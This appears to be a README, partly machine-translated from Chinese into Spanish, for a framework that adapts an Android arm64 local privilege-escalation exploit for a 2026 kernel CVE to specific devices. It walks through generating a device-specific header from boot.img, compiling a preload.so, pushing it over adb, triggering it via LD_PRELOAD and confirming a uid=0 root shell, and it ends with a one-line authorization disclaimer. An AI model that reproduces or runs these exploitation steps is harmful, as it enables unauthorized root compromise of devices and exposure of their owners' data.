CVE-2026-43499 Adaptación de escalada de privilegios local para Android arm64

English | Chino

---

Este es un proyecto de adaptación de escalada de privilegios local para Android arm64 para CVE-2026-43499.

El proyecto genera target.h basado en la boot.img del dispositivo objetivo y la información del perfil, y luego compila el correspondiente preload.so.

Nota: Este proyecto es un marco de adaptación genérico, no está vinculado a un solo modelo. La disponibilidad real depende de si generate_target.py puede generar exitosamente target.h y los resultados de las pruebas en el dispositivo real.

---

Estructura del directorio

项目目录/
├── boot.img                  # 目标设备同固件 boot 镜像
├── profile_xxx.json           # 目标设备 profile
├── detect_offset.py           # 检测 profile 用
├── generate_target.py         # 生成 target.h
├── source/
│   ├── Makefile
│   └── src/
│       └── target.h           # 自动生成
└── source/build/bin/
    └── preload.so             # 编译产物

---

Dependencias necesarias

Dependencias básicas

Python 3
LLVM / llvm-objdump
Android NDK
make
adb

Entorno recomendado para Windows

MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64

Instalar make en MSYS2:

pacman -S make coreutils

---

Preparar archivos

Necesitas preparar:

boot.img
profile_xxx.json

Ejemplo de perfil:

{
  "p0_phys_offset": "0x80000000",
  "p0_kernel_phys_load": "0xc7800000"
}

Estas dos direcciones en el perfil:

p0_phys_offset
p0_kernel_phys_load

Se pueden obtener ejecutando el script en un teléfono con root y el mismo firmware que la boot.img objetivo:

python3 detect_offset.py

También en Windows:

python detect_offset.py

---

Pasos de uso

1. Entrar al directorio del proyecto

Linux / macOS:

cd /path/to/project

Ejemplo en Windows MSYS2:

cd /d/unlockProject/CVE/CVE-2026-43499-xxxxxx-main

---

2. Configurar la ruta de NDK

Ejemplo en Linux / macOS:

export ANDROID_NDK_HOME=/path/to/android-ndk

Ejemplo en Windows MSYS2:

export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29

---

3. Generar target.h

python3 generate_target.py \
  --boot boot.img \
  --profile profile_xxx.json \
  -o source/src/target.h

En Windows, si python3 no está disponible, usa:

python generate_target.py \
  --boot boot.img \
  --profile profile_xxx.json \
  -o source/src/target.h

Si aparece un error de que no se encuentra llvm-objdump, especifica manualmente la ruta:

python generate_target.py \
  --boot boot.img \
  --profile profile_xxx.json \
  -o source/src/target.h \
  --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"

Si tiene éxito, verás algo como:

生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...

---

4. Compilar preload.so

Linux / macOS:

make -C source clean preload

Windows MSYS2:

make -C source clean preload NDK_PREBUILT=windows-x86_64

Después de tener éxito se generará:

source/build/bin/preload.so

---

5. Enviar al dispositivo y ejecutar

adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'

Verificar:

adb shell '/data/local/tmp/su -c id'

Generalmente, en caso de éxito se verá:

uid=0(root) gid=0(root)

---

Proceso de un solo paso en Windows MSYS2

Ejemplo con tu ruta:

cd /d/unlockProject/CVE/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python generate_target.py --boot boot.img --profile profile_xxx.json -o source/src/target.h --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
make -C source clean preload NDK_PREBUILT=windows-x86_64

Archivo final:

source/build/bin/preload.so

---

Preguntas frecuentes

No se encuentra llvm-objdump

Instala LLVM, o usa:

--llvm-objdump "/path/to/llvm-objdump"

---

No se encuentra make

En Windows, instala con MSYS2:

pacman -S make coreutils

---

No se encuentra clang

Generalmente la ruta de NDK no está configurada correctamente.

Ejemplo en Windows MSYS2:

export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64

---

Fallo al generar target.h

Generalmente indica que la boot.img actual o el diseño del kernel no se han adaptado exitosamente.

Verifica cuidadosamente:

boot.img 是否完整
profile 是否正确
llvm-objdump 是否可用
内核是否有 IKCONFIG / kallsyms / BTF

---

Nota

• Después de cambiar de dispositivo, sistema o kernel, es necesario regenerar target.h.
• No se recomienda modificar target.h manualmente; debe ser generado automáticamente por generate_target.py.
• Solo úsalo en dispositivos y entornos para los que tengas autorización.